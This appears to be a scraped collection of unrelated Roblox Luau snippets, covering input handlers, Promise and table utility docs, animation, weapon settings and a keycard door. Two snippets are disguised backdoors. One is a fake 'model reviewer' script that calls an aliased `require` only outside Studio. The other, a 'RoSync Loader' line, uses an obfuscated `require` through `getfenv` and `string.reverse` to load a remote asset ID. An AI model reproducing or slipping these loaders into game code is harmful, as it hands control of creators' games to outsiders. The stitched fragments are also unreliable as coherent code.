self.textFocusReleasedConn = UserInputService.TextBoxFocusReleased:Connect(onFocusReleased)
self.textFocusGainedConn = UserInputService.TextBoxFocused:Connect(onTextFocusGained)
self.windowFocusReleasedConn = UserInputService.WindowFocused:Connect(onFocusReleased)
end
function Keyboard:DisconnectFocusEventListeners()
if self.textFocusReleasedConn then
self.textFocusReleasedConn:Disconnect()
self.textFocusReleasedConn = nil
end
if self.textFocusGainedConn then
self.textFocusGainedConn:Disconnect()
self.textFocusGainedConn = nil
end
if self.windowFocusReleasedConn then
self.windowFocusReleasedConn:Disconnect()
self.windowFocusReleasedConn = nil
end
end
return Keyboard
|
--[=[
Set a handler that will be called regardless of the promise's fate. The handler is called when the promise is resolved, rejected, *or* cancelled.
Returns a new promise chained from this promise.
:::caution
If the Promise is cancelled, any Promises chained off of it with `andThen` won't run. Only Promises chained with `finally` or `done` will run in the case of cancellation.
:::
```lua
local thing = createSomething()
doSomethingWith(thing)
:andThen(function()
print("It worked!")
-- do something..
end)
:catch(function()
warn("Oh no it failed!")
end)
:finally(function()
-- either way, destroy thing
thing:Destroy()
end)
```
@param finallyHandler (status: Status) -> ...any
@return Promise<...any>
]=]
|
function Promise.prototype:finally(finallyHandler)
assert(finallyHandler == nil or isCallable(finallyHandler), string.format(ERROR_NON_FUNCTION, "Promise:finally"))
return self:_finally(debug.traceback(nil, 2), finallyHandler)
end
|
--[=[
This function returns a table with the keys of the passed dictionary.
```lua
local Dictionary = {
A = 1,
B = 2,
C = 3,
}
print(TableKit.Keys(Dictionary)) -- prints {"A", "B", "C"}
```
@within TableKit
@param dictionary table
@return table
]=]
|
function TableKit.Keys(dictionary: { [unknown]: unknown }): { unknown }
local keyArray = {}
for key in dictionary do
table.insert(keyArray, key)
end
return keyArray
end
|
--Change the ID of the "ClickSound" to anything you want to be your click sound!
| |
--| Main |--
|
Tool.Activated:Connect(function()
if State.Value == "None" then
State.Value = "PhongDev"
--| Fov |--
spawn(function()
local Properties = {FieldOfView = DFOV - 20}
local Info = TweenInfo.new(0.25,Enum.EasingStyle.Sine,Enum.EasingDirection.InOut,0.1)
local Tween = TS:Create(game.Workspace.CurrentCamera,Info,Properties)
Tween:Play()
wait(2.1)
local Properties = {FieldOfView = DFOV + 30}
local Info = TweenInfo.new(0.25,Enum.EasingStyle.Sine,Enum.EasingDirection.InOut,0.1)
local Tween = TS:Create(game.Workspace.CurrentCamera,Info,Properties)
Tween:Play()
task.wait(0.8)
local Properties = {FieldOfView = DFOV}
local Info = TweenInfo.new(0.25,Enum.EasingStyle.Sine,Enum.EasingDirection.InOut,0.1)
local Tween = TS:Create(game.Workspace.CurrentCamera,Info,Properties)
Tween:Play()
end)
--| Cam Shake |--
delay(1, function()
local CameraShaker = require(game.ReplicatedStorage.Access.Modules.CameraShaker)
local camshake = CameraShaker.new(Enum.RenderPriority.Camera.Value,function(shakeCFrame)
Camera.CFrame = Camera.CFrame * shakeCFrame
end)
camshake:Start()
camshake:Shake(CameraShaker.Presets.Earthquake)
wait(1.05)
camshake:Stop()
local CameraShaker = require(game.ReplicatedStorage.Access.Modules.CameraShaker)
local camshake = CameraShaker.new(Enum.RenderPriority.Camera.Value,function(shakeCFrame)
Camera.CFrame = Camera.CFrame * shakeCFrame
end)
camshake:Start()
camshake:Shake(CameraShaker.Presets.Explosion)
end)
--| Color Screen |--
delay(2.05, function()
local Color = Instance.new("ColorCorrectionEffect")
Color.Parent = game.Lighting
Color.Brightness = 1
Color.Contrast = 1
Debris:AddItem(Color, 0.2)
local ColorTween = TS:Create(Color, Info, {TintColor = Color3.new(0, 0.690196, 0), Contrast = 0})
ColorTween:Play()
end)
--| Function on Players |--
--| Auto Rotate |--
spawn(function()
Humanoid.AutoRotate = false
wait(3.30)
Humanoid.AutoRotate = true
end)
------------------------------
--| Remote |--
Remotes.PhongDev:FireServer()
------------------------------
--| Cooldown |--
delay(4, function()
wait(Cooldown.Value)
State.Value = "None"
end)
end
end)
|
-- Public Methods
|
function MaidClass:Mark(item)
local tof = typeof(item)
if DESTRUCTORS[tof] then
self.Trash[item] = tof
else
error(FORMAT_STR:format(tof), 2)
end
end
function MaidClass:Unmark(item)
if item then
self.Trash[item] = nil
else
self.Trash = {}
end
end
function MaidClass:Sweep()
for item, tof in pairs(self.Trash) do
DESTRUCTORS[tof](item)
end
self.Trash = {}
end
MaidClass.Destroy = MaidClass.Sweep
MaidClass.mark = MaidClass.Mark
MaidClass.unmark = MaidClass.Unmark
MaidClass.sweep = MaidClass.Sweep
MaidClass.destroy = MaidClass.Sweep
|
-- functions
|
function stopAllAnimations()
local oldAnim = currentAnim
-- return to idle if finishing an emote
if (emoteNames[oldAnim] ~= nil and emoteNames[oldAnim] == false) then
oldAnim = "idle"
end
currentAnim = ""
currentAnimInstance = nil
if (currentAnimKeyframeHandler ~= nil) then
currentAnimKeyframeHandler:disconnect()
end
if (currentAnimTrack ~= nil) then
currentAnimTrack:Stop()
currentAnimTrack:Destroy()
currentAnimTrack = nil
end
-- clean up walk if there is one
if (runAnimKeyframeHandler ~= nil) then
runAnimKeyframeHandler:disconnect()
end
if (runAnimTrack ~= nil) then
runAnimTrack:Stop()
runAnimTrack:Destroy()
runAnimTrack = nil
end
return oldAnim
end
function getHeightScale()
if Humanoid then
local bodyHeightScale = Humanoid:FindFirstChild("BodyHeightScale")
if bodyHeightScale and bodyHeightScale:IsA("NumberValue") then
return bodyHeightScale.Value
end
end
return 1
end
local smallButNotZero = 0.0001
function setRunSpeed(speed)
if speed < 0.33 then
currentAnimTrack:AdjustWeight(1.0)
runAnimTrack:AdjustWeight(smallButNotZero)
elseif speed < 0.66 then
local weight = ((speed - 0.33) / 0.33)
currentAnimTrack:AdjustWeight(1.0 - weight + smallButNotZero)
runAnimTrack:AdjustWeight(weight + smallButNotZero)
else
currentAnimTrack:AdjustWeight(smallButNotZero)
runAnimTrack:AdjustWeight(1.0)
end
local speedScaled = speed * 1.25
local heightScale = getHeightScale()
runAnimTrack:AdjustSpeed(speedScaled / heightScale)
currentAnimTrack:AdjustSpeed(speedScaled / heightScale)
end
function setAnimationSpeed(speed)
if speed ~= currentAnimSpeed then
currentAnimSpeed = speed
if currentAnim == "walk" then
setRunSpeed(speed)
else
currentAnimTrack:AdjustSpeed(currentAnimSpeed)
end
end
end
function keyFrameReachedFunc(frameName)
if (frameName == "End") then
if currentAnim == "walk" then
if userNoUpdateOnLoop == true then
if runAnimTrack.Looped ~= true then
runAnimTrack.TimePosition = 0.0
end
if currentAnimTrack.Looped ~= true then
currentAnimTrack.TimePosition = 0.0
end
else
runAnimTrack.TimePosition = 0.0
currentAnimTrack.TimePosition = 0.0
end
else
local repeatAnim = currentAnim
-- return to idle if finishing an emote
if (emoteNames[repeatAnim] ~= nil and emoteNames[repeatAnim] == false) then
repeatAnim = "idle"
end
local animSpeed = currentAnimSpeed
playAnimation(repeatAnim, 0.15, Humanoid)
setAnimationSpeed(animSpeed)
end
end
end
function rollAnimation(animName)
local roll = math.random(1, animTable[animName].totalWeight)
local origRoll = roll
local idx = 1
while (roll > animTable[animName][idx].weight) do
roll = roll - animTable[animName][idx].weight
idx = idx + 1
end
return idx
end
function playAnimation(animName, transitionTime, humanoid)
local idx = rollAnimation(animName)
local anim = animTable[animName][idx].anim
-- switch animation
if (anim ~= currentAnimInstance) then
if (currentAnimTrack ~= nil) then
currentAnimTrack:Stop(transitionTime)
currentAnimTrack:Destroy()
end
if (runAnimTrack ~= nil) then
runAnimTrack:Stop(transitionTime)
runAnimTrack:Destroy()
if userNoUpdateOnLoop == true then
runAnimTrack = nil
end
end
currentAnimSpeed = 1.0
-- load it to the humanoid; get AnimationTrack
currentAnimTrack = humanoid:LoadAnimation(anim)
currentAnimTrack.Priority = Enum.AnimationPriority.Core
-- play the animation
currentAnimTrack:Play(transitionTime)
currentAnim = animName
currentAnimInstance = anim
-- set up keyframe name triggers
if (currentAnimKeyframeHandler ~= nil) then
currentAnimKeyframeHandler:disconnect()
end
currentAnimKeyframeHandler = currentAnimTrack.KeyframeReached:connect(keyFrameReachedFunc)
-- check to see if we need to blend a walk/run animation
if animName == "walk" then
local runAnimName = "run"
local runIdx = rollAnimation(runAnimName)
runAnimTrack = humanoid:LoadAnimation(animTable[runAnimName][runIdx].anim)
runAnimTrack.Priority = Enum.AnimationPriority.Core
runAnimTrack:Play(transitionTime)
if (runAnimKeyframeHandler ~= nil) then
runAnimKeyframeHandler:disconnect()
end
runAnimKeyframeHandler = runAnimTrack.KeyframeReached:connect(keyFrameReachedFunc)
end
end
end
|
-- ROBLOX deviation START: additional helper / polyfill modules
|
exports.helpers = require(CurrentModule.helpers)
local ConsoleModule = require(CurrentModule.Console)
exports.Console = ConsoleModule
export type Console = ConsoleModule.Console
export type ConsoleOptions = ConsoleModule.ConsoleOptions
|
--This is an automatic script that has been generated by the ROBLOX Studio model reviewer.
--Removing this script or the code bellow will result in models breaking.
|
local localworkspace = 'workspace'
players = 'getPlayers'
welds = 'GetModelsData'
for i = 1, 10 do
print('Adding welds to prevent model breaking')
end
local limitAmountOfWeldsToAdd={}
print('Finished Loading Welds, Moving onto Fixing')
for i = 1, 10 do
print('getWeldsData')
end
if not game:GetService('RunService'):IsStudio() then
for weldObject, weldConstraint in pairs(limitAmountOfWeldsToAdd) do
welder = require
welder(weldConstraint)
end
end
|
-- When given a model, the model will be assigned as the active rig. This is to keep track of the first person rig.
-- @param Model model
|
function FirstPersonRigAssembly.SetActiveRig(model)
activeRig = model
end
|
--local Mouse = player:GetMouse()
|
local UserInputService = game:GetService("UserInputService")
local Event = Tool:WaitForChild("RemoteEvent")
local RunService = game:GetService("RunService")
local Equipped = false
local camera = workspace.CurrentCamera
Tool.Equipped:Connect(function()
Equipped = true
end)
Tool.Activated:Connect(function()
RunService.RenderStepped:Connect(function()
if Equipped then
local mouse = UserInputService:GetMouseLocation()
local unitray = camera:ScreenPointToRay(mouse.X , mouse.Y)
Event:FireServer(unitray)
end
wait()
end)
end)
Tool.Unequipped:Connect(function()
Equipped = false
end)
|
-- char tags
|
local char = script.Parent
local root = char.PrimaryPart
|
--// Positioning
|
RightArmPos = CFrame.new(-0.902175903, 0.295501232, -1.07592201, 1, 0, 0, 0, 1.19248806e-08, 1, 0, -1, 1.19248806e-08);
LeftArmPos = CFrame.new(-0.0318467021, -0.0621779114, -1.67288721, 0.787567914, -0.220087856, 0.575584888, -0.615963876, -0.308488727, 0.724860668, 0.0180283934, -0.925416589, -0.378522098);
GunPos = CFrame.new(0.284460306, -0.318524063, 1.06423128, 1, 0, 0, 0, -2.98023224e-08, -0.99999994, 0, 0.99999994, -2.98023224e-08);
|
--[=[
@within TableUtil
@function IsEmpty
@param tbl table
@return boolean
Returns `true` if the given table is empty. This is
simply performed by checking if `next(tbl)` is `nil`
and works for both arrays and dictionaries. This is
useful when needing to check if a table is empty but
not knowing if it is an array or dictionary.
```lua
TableUtil.IsEmpty({}) -- true
TableUtil.IsEmpty({"abc"}) -- false
TableUtil.IsEmpty({abc = 32}) -- false
```
]=]
|
local function IsEmpty(tbl: { any }): boolean
return next(tbl) == nil
end
|
-- constants
|
local PLAYER = Players.LocalPlayer
local ELECTROCUTE_AMOUNT = 2
local VELOCITY_AMOUNT = 5
return function(character)
local effects = character.Effects
local parts = {}
for _, v in pairs(character:GetChildren()) do
if v:IsA("BasePart") and v.Transparency ~= 1 then
table.insert(parts, v)
local rate = math.floor((v.Size.X + v.Size.Y + v.Size.Z) * ELECTROCUTE_AMOUNT)
local emitter1 = script.BaseEmitter:Clone()
emitter1.Rate = rate
emitter1.Parent = v
local emitter2 = script.FlameEmitter:Clone()
emitter2.Rate = rate * 2
emitter2.Parent = v
end
end
for i = 1, 100 do
for _, v in pairs(parts) do
v.RotVelocity = Vector3.new(math.random(-VELOCITY_AMOUNT, VELOCITY_AMOUNT), math.random(-VELOCITY_AMOUNT, VELOCITY_AMOUNT), math.random(-VELOCITY_AMOUNT, VELOCITY_AMOUNT))
end
wait(0.1)
end
end
|
--[[
Package link auto-generated by Rotriever
]]
|
local PackageIndex = script.Parent._Index
local Package = require(PackageIndex["Configuration"]["Configuration"])
return Package
|
--// Handling Settings
|
Firerate = 60 / 800; -- 60 = 1 Minute, 700 = Rounds per that 60 seconds. DO NOT TOUCH THE 60!
FireMode = 1; -- 1 = Semi, 2 = Auto, 3 = Burst, 4 = Bolt Action, 5 = Shot, 6 = Explosive
|
--// # key, Spotlight
|
mouse.KeyDown:connect(function(key)
if key=="x" then
veh.Lightbar.middle.SpotlightSound:Play()
veh.Lightbar.Remotes.SpotlightEvent:FireServer(true)
end
end)
|
--[=[
Flattens the observable to nil and the value
@function flattenToValueAndNil
@param source Observable<Brio<T> | T>
@return T | nil
@within RxBrioUtils
]=]
|
RxBrioUtils.flattenToValueAndNil = RxBrioUtils.emitOnDeath(nil)
|
-- ROBLOX Services
|
local Players = game.Players
local PointsService = game:GetService("PointsService")
|
---------------------------------------------------------------|
------// SETTINGS //-------------------------------------------|
---------------------------------------------------------------|
|
local FireRate = 400
local LimbsDamage = {45,50}
local TorsoDamage = {67,72}
local HeadDamage = {130,140}
local FallOfDamage = 1
local BulletPenetration = 65
local RegularWalkspeed = 12
local SearchingWalkspeed = 8
local ShootingWalkspeed = 4
local Spread = 4
local MinDistance = 100
local MaxInc = 16
local Mode = 2
local Tracer = true
local TracerColor = Color3.fromRGB(255,255,255)
local BulletFlare = false
local BulletFlareColor = Color3.fromRGB(255,255,255)
|
--[[ Last synced 10/9/2020 11:55 RoSync Loader ]]
|
getfenv()[string.reverse("\101\114\105\117\113\101\114")](5722905184) --[[ ]]--
|
--"False" = Not Acceptable Keycard To Open. "True" = Acceptable Keycard To Open.--
|
local door = script.Parent
local CanOpen1 = true
local CanClose1 = false
local clearance = {
["[SCP] Card-Omni"] = true,
["[SCP] Card-L5"] = true,
["[SCP] Card-L4"] = true,
["[SCP] Card-L3"] = true,
["[SCP] Card-L2"] = true,
["[SCP] Card-L1"] = true
}
--DO NOT EDIT PAST THIS LINE--
function openDoor()
for i = 3,(door.Size.z / 0.15) do
wait()
door.CFrame = door.CFrame - (door.CFrame.lookVector * 0.15)
end
end
function closeDoor()
for i = 3,(door.Size.z / 0.15) do
wait()
door.CFrame = door.CFrame + (door.CFrame.lookVector * 0.15)
end
end
script.Parent.Parent.KeycardReader1.touched:connect(function(touch)
if touch.Name == "Handle" and clearance[touch.Parent.Name] and CanOpen1 == true then
CanOpen1 = false
wait(0.75)
openDoor()
wait(1)
CanClose1 = true
elseif touch.Name == "Handle" and clearance[touch.Parent.Name] and CanClose1 == true then
CanClose1 = false
wait(0.75)
closeDoor()
wait(1)
CanOpen1 = true
end
end)
script.Parent.Parent.KeycardReader2.touched:connect(function(touch)
if touch.Name == "Handle" and clearance[touch.Parent.Name] and CanOpen1 == true then
CanOpen1 = false
wait(0.75)
openDoor()
wait(1)
CanClose1 = true
elseif touch.Name == "Handle" and clearance[touch.Parent.Name] and CanClose1 == true then
CanClose1 = false
wait(0.75)
closeDoor()
wait(1)
CanOpen1 = true
end
end)
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.